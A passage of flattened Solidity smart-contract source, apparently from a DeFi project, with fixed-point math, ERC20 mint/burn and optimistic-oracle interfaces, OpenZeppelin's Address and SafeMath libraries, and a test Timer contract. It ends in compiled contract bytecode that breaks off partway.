(Signed memory) { // Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))" // similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed. // This creates the possibility of overflow if b is very large. return divAwayFromZero(a, fromUnscaledInt(b)); } /** * @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`. * @dev This will "floor" the result. * @param a a FixedPoint.Signed. * @param b a uint256 (negative exponents are not allowed). * @return output is `a` to the power of `b`. */ function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) { output = fromUnscaledInt(1); for (uint256 i = 0; i < b; i = i.add(1)) { output = mul(output, a); } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ERC20 interface that includes burn and mint methods. */ abstract contract ExpandedIERC20 is IERC20 { /** * @notice Burns a specific amount of the caller's tokens. * @dev Only burns the caller's tokens, so it is safe to leave this method permissionless. */ function burn(uint256 value) external virtual; /** * @dev Burns `value` tokens owned by `recipient`. * @param recipient address to burn tokens from. * @param value amount of tokens to burn. */ function burnFrom(address recipient, uint256 value) external virtual returns (bool); /** * @notice Mints tokens and adds them to the balance of the `to` address. * @dev This method should be permissioned to only allow designated parties to mint tokens. */ function mint(address to, uint256 value) external virtual returns (bool); function addMinter(address account) external virtual; function addBurner(address account) external virtual; function resetOwner(address account) external virtual; } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; /** * @title Financial contract facing Oracle interface. * @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface. */ abstract contract OracleInterface { /** * @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. */ function requestPrice(bytes32 identifier, uint256 time) public virtual; /** * @notice Whether the price for `identifier` and `time` is available. * @dev Time must be in the past and the identifier must be supported. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @return bool if the DVM has resolved to a price for the given identifier and timestamp. */ function hasPrice(bytes32 identifier, uint256 time) public view virtual returns (bool); /** * @notice Gets the price for `identifier` and `time` if it has already been requested and resolved. * @dev If the price is not available, the method reverts. * @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested. * @param time unix timestamp for the price request. * @return int256 representing the resolved price for the given identifier and timestamp. */ function getPrice(bytes32 identifier, uint256 time) public view virtual returns (int256); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; interface AddressWhitelistInterface { function addToWhitelist(address newElement) external; function removeFromWhitelist(address newElement) external virtual; function isOnWhitelist(address newElement) external view virtual returns (bool); function getWhitelist() external view virtual returns (address[] memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; /** * @title Provides addresses of the live contracts implementing certain interfaces. * @dev Examples are the Oracle or Store interfaces. */ interface FinderInterface { /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 encoding of the interface name that is either changed or registered. * @param implementationAddress address of the deployed contract that implements the interface. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external; /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the deployed contract that implements the interface. */ function getImplementationAddress(bytes32 interfaceName) external view returns (address); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title Financial contract facing Oracle interface. * @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface. */ abstract contract OptimisticOracleInterface { // Struct representing the state of a price request. enum State { Invalid, // Never requested. Requested, // Requested, no other actions taken. Proposed, // Proposed, but not expired or disputed yet. Expired, // Proposed, not disputed, past liveness. Disputed, // Disputed, but no DVM price returned yet. Resolved, // Disputed and DVM price is available. Settled // Final price has been set in the contract (can get here from Expired or Resolved). } // Struct representing a price request. struct Request { address proposer; // Address of the proposer. address disputer; // Address of the disputer. IERC20 currency; // ERC20 token used to pay rewards and fees. bool settled; // True if the request is settled. bool refundOnDispute; // True if the requester should be refunded their reward on dispute. int256 proposedPrice; // Price that the proposer submitted. int256 resolvedPrice; // Price resolved once the request is settled. uint256 expirationTime; // Time at which the request auto-settles without a dispute. uint256 reward; // Amount of the currency to pay to the proposer on settlement. uint256 finalFee; // Final fee to pay to the Store upon request to the DVM. uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee. uint256 customLiveness; // Custom liveness value set by the requester. } // This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible // that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses // to accept a price request made with ancillary data length of a certain size. uint256 public constant ancillaryBytesLimit = 8192; /** * @notice Requests a new price. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data representing additional args being passed with the price request. * @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM. * @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0, * which could make sense if the contract requests and proposes the value in the same call or * provides its own reward system. * @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay. * This can be changed with a subsequent call to setBond(). */ function requestPrice( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, IERC20 currency, uint256 reward ) external virtual returns (uint256 totalBond); /** * @notice Set the proposal bond associated with a price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param bond custom bond amount to set. * @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be * changed again with a subsequent call to setBond(). */ function setBond( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 bond ) external virtual returns (uint256 totalBond); /** * @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller * in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's * bond, so there is still profit to be made even if the reward is refunded. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. */ function setRefundOnDispute( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual; /** * @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before * being auto-resolved. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param customLiveness new custom liveness. */ function setCustomLiveness( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 customLiveness ) external virtual; /** * @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come * from this proposal. However, any bonds are pulled from the caller. * @param proposer address to set as the proposer. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param proposedPrice price being proposed. * @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to * the proposer once settled if the proposal is correct. */ function proposePriceFor( address proposer, address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 proposedPrice ) public virtual returns (uint256 totalBond); /** * @notice Proposes a price value for an existing price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param proposedPrice price being proposed. * @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to * the proposer once settled if the proposal is correct. */ function proposePrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 proposedPrice ) external virtual returns (uint256 totalBond); /** * @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will * receive any rewards that come from this dispute. However, any bonds are pulled from the caller. * @param disputer address to set as the disputer. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to * the disputer once settled if the dispute was value (the proposal was incorrect). */ function disputePriceFor( address disputer, address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public virtual returns (uint256 totalBond); /** * @notice Disputes a price value for an existing price request with an active proposal. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to * the disputer once settled if the dispute was valid (the proposal was incorrect). */ function disputePrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual returns (uint256 totalBond); /** * @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled * or settleable. Note: this method is not view so that this call may actually settle the price request if it * hasn't been settled. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return resolved price. */ function settleAndGetPrice( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual returns (int256); /** * @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes * the returned bonds as well as additional rewards. */ function settle( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external virtual returns (uint256 payout); /** * @notice Gets the current data structure containing all information about a price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return the Request data structure. */ function getRequest( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view virtual returns (Request memory); /** * @notice Returns the state of a price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return the State enum value. */ function getState( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view virtual returns (State); /** * @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price). * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return true if price has resolved or settled, false otherwise. */ function hasPrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view virtual returns (bool); function stampAncillaryData(bytes memory ancillaryData, address requester) public view virtual returns (bytes memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; /** * @title Interface for whitelists of supported identifiers that the oracle can provide prices for. */ interface IdentifierWhitelistInterface { /** * @notice Adds the provided identifier as a supported identifier. * @dev Price requests using this identifier will succeed after this call. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. */ function addSupportedIdentifier(bytes32 identifier) external; /** * @notice Removes the identifier from the whitelist. * @dev Price requests using this identifier will no longer succeed after this call. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. */ function removeSupportedIdentifier(bytes32 identifier) external; /** * @notice Checks whether an identifier is on the whitelist. * @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD. * @return bool if the identifier is supported (or not). */ function isIdentifierSupported(bytes32 identifier) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; /** * @title Stores common interface names used throughout the DVM by registration in the Finder. */ library OracleInterfaces { bytes32 public constant Oracle = "Oracle"; bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist"; bytes32 public constant Store = "Store"; bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin"; bytes32 public constant Registry = "Registry"; bytes32 public constant CollateralWhitelist = "CollateralWhitelist"; bytes32 public constant OptimisticOracle = "OptimisticOracle"; bytes32 public constant Bridge = "Bridge"; bytes32 public constant GenericHandler = "GenericHandler"; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SignedSafeMath { /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { return a * b; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { return a / b; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { return a - b; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { return a + b; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; /** * @title Universal store of current contract time for testing environments. */ contract Timer { uint256 private currentTime; constructor() { currentTime = block.timestamp; // solhint-disable-line not-rely-on-time } /** * @notice Sets the current time. * @dev Will revert if not running in test mode. * @param time timestamp to set `currentTime` to. */ function setCurrentTime(uint256 time) external { currentTime = time; } /** * @notice Gets the currentTime variable set in the Timer. * @return uint256 for the current Testable timestamp. */ function getCurrentTime() public view returns (uint256) { return currentTime; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80639a9c29f6116100b8578063b9a3c84c1161007c578063b9a3c84c146102a2578063b9fd36c8146102b5578063db006a75146102be578063e3065da7146102d1578063e964ae02146102e4578063edfa9a9b146102ed57600080fd5b80639a9c29f61461022c5780639f43ddd21461023f578063a9ae29df14610273578063b2016bd41461027c578063b66333cd1461028f57600080fd5b806379599f96116100ff57806379599f96146101d25780638150fd3d146101da57806385209ee0146101ef5780639375f0e914610210578063975236611461022357600080fd5b80631c39c38d1461013c57806322f8e5661461016c57806329cb924d146101815780634eef4a7314610197578063780900dc146101bf575b600080fd5b60005461014f906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61017f61017a3660046116b8565b6102f6565b005b61018961036c565b604051908152602001610163565b6101aa6101a5366004611648565b61040c565b60408051928352602083019190915201610163565b6101896101cd3660046116b8565b610513565b61017f610733565b6101e261087a565b604051610163919061187c565b60005461020390600160a81b900460ff1681565b604051610163919061188f565b60095461014f906001600160a01b031681565b61018960045481565b61018961023a3660046116d0565b610908565b60005461025a90600160b01b900467ffffffffffffffff1681565b60405167ffffffffffffffff9091168152602001610163565b61018960035481565b60055461014f906001600160a01b031681565b60065461014f906001600160a01b031681565b60085461014f906001600160a01b031681565b610189600b5481565b6101896102cc3660046116b8565b610d1c565b60075461014f906001600160a01b031681565b61018960015481565b61018960025481565b6000546001600160a01b031661030b57600080fd5b60005460405163117c72b360e11b8152600481018390526001600160a01b03909116906322f8e56690602401600060405180830381600087803b15801561035157600080fd5b505af1158015610365573d6000803e3d6000fd5b5050505050565b600080546001600160a01b0316156104075760008054906101000a90046001600160a01b03166001600160a01b03166329cb924d6040518163ffffffff1660e01b815260040160206040518083038186803b1580156103ca57600080fd5b505afa1580156103de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040291906116a0565b905090565b504290565b6006546040516370a0823160e01b81526001600160a01b03838116600483015260009283929116906370a082319060240160206040518083038186803b15801561045557600080fd5b505afa158015610469573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048d91906116a0565b6007546040516370a0823160e01b81526001600160a01b038681166004830152909116906370a082319060240160206040518083038186803b1580156104d257600080fd5b505afa1580156104e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050a91906116a0565b91509150915091565b60008054600160b01b900467ffffffffffffffff1661053061036c565b106105825760405162461bcd60e51b815260206004820152601860248201527f4f6e6c792063616c6c61626c65207072652d657870697279000000000000000060448201526064015b60405180910390fd5b61058a610ec9565b61059c6000805460ff60a01b19169055565b6040805160208082018352600154825282519081019092528382526105c19190610f22565b516005549091506105dd906001600160a01b0316333084610f68565b6006546040516340c10f1960e01b8152336004820152602481018490526001600160a01b03909116906340c10f1990604401602060405180830381600087803b15801561062957600080fd5b505af115801561063d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106619190611680565b61066a57600080fd5b6007546040516340c10f1960e01b8152336004820152602481018490526001600160a01b03909116906340c10f1990604401602060405180830381600087803b1580156106b657600080fd5b505af11580156106ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ee9190611680565b6106f757600080fd5b6040518290829033907f2b42f4b25222a5d447ca19dfca2afd1b8d32adfed550f7b87bf9569f6da70c0090600090a461072e610fd9565b919050565b600054600160b01b900467ffffffffffffffff1661074f61036c565b10156107995760405162461bcd60e51b81526020600482015260196024820152784f6e6c792063616c6c61626c6520706f73742d65787069727960381b6044820152606401610579565b60008054600160a81b900460ff1660028111156107c657634e487b7160e01b600052602160045260246000fd5b146108135760405162461bcd60e51b815260206004820152601a60248201527f436f6e7472616374207374617465206973206e6f74204f70656e0000000000006044820152606401610579565b61081b610ec9565b61082d6000805460ff60a01b19169055565b610835610fee565b6000805460ff60a81b1916600160a81b17815560405133917f18600820405d6cf356e3556301762ca32395e72d8c81494fa344835c9da3633d91a2610878610fd9565b565b600a805461088790611951565b80601f01602080910402602001604051908101604052809291908181526020018280546108b390611951565b80156109005780601f106108d557610100808354040283529160200191610900565b820191906000526020600020905b8154815290600101906020018083116108e357829003601f168201915b505050505081565b60008054600160b01b900467ffffffffffffffff1661092561036c565b101561096f5760405162461bcd60e51b81526020600482015260196024820152784f6e6c792063616c6c61626c6520706f73742d65787069727960381b6044820152606401610579565b610977610ec9565b6109896000805460ff60a01b19169055565b60008054600160a81b900460ff1660028111156109b657634e487b7160e01b600052602160045260246000fd5b14156109f95760405162461bcd60e51b8152602060048201526012602482015271155b995e1c1a5c99590818dbdb9d1c9858dd60721b6044820152606401610579565b6002600054600160a81b900460ff166002811115610a2757634e487b7160e01b600052602160045260246000fd5b14610af657600054610a4990600160b01b900467ffffffffffffffff166110cb565b6002819055600954604051632da5236160e01b81526004810192909252610adf916001600160a01b0390911690632da523619060240160206040518083038186803b158015610a9757600080fd5b505afa158015610aab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acf91906116a0565b610ad960016111f4565b51611229565b6003556000805460ff60a81b1916600160a91b1790555b60065460405163079cc67960e41b8152336004820152602481018590526001600160a01b03909116906379cc679090604401602060405180830381600087803b158015610b4257600080fd5b505af1158015610b56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7a9190611680565b610b8357600080fd5b60075460405163079cc67960e41b8152336004820152602481018490526001600160a01b03909116906379cc679090604401602060405180830381600087803b158015610bcf57600080fd5b505af1158015610be3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c079190611680565b610c1057600080fd5b604080516020808201835260035482528251808201845260015481528351918201909352858152600092610c4e9291610c4891610f22565b90610f22565b6000015190506000610ca2610c7d6040518060200160405280600354815250610c7760016111f4565b90611241565b604080516020808201835260015482528251908101909252878252610c489190610f22565b519050610caf81836118b7565b600554909350610cc9906001600160a01b0316338561126b565b604080518481526020810187905290810185905233907fe8fdc264e5a5640d893f125384c4e2c5afe2d9a04aef1129e643caaa72771cff9060600160405180910390a25050610d16610fd9565b92915050565b6000610d26610ec9565b610d386000805460ff60a01b19169055565b60065460405163079cc67960e41b8152336004820152602481018490526001600160a01b03909116906379cc679090604401602060405180830381600087803b158015610d8457600080fd5b505af1158015610d98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbc9190611680565b610dc557600080fd5b60075460405163079cc67960e41b8152336004820152602481018490526001600160a01b03909116906379cc679090604401602060405180830381600087803b158015610e1157600080fd5b505af1158015610e25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e499190611680565b610e5257600080fd5b604080516020808201835260015482528251908101909252838252610e779190610f22565b51600554909150610e92906001600160a01b0316338361126b565b6040518290829033907fd171fb179b26c49e23fe46eddd44d3048a1ad277b62144ac0725fbcf1dbf6d5290600090a461072e610fd9565b600054600160a01b900460ff166108785760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610579565b6040805160208101909152600081526040805160208101909152825184518291670de0b6b3a764000091610f55916112a0565b610f5f91906118cf565b90529392505050565b6040516001600160a01b0380851660248301528316604482015260648101829052610fd39085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180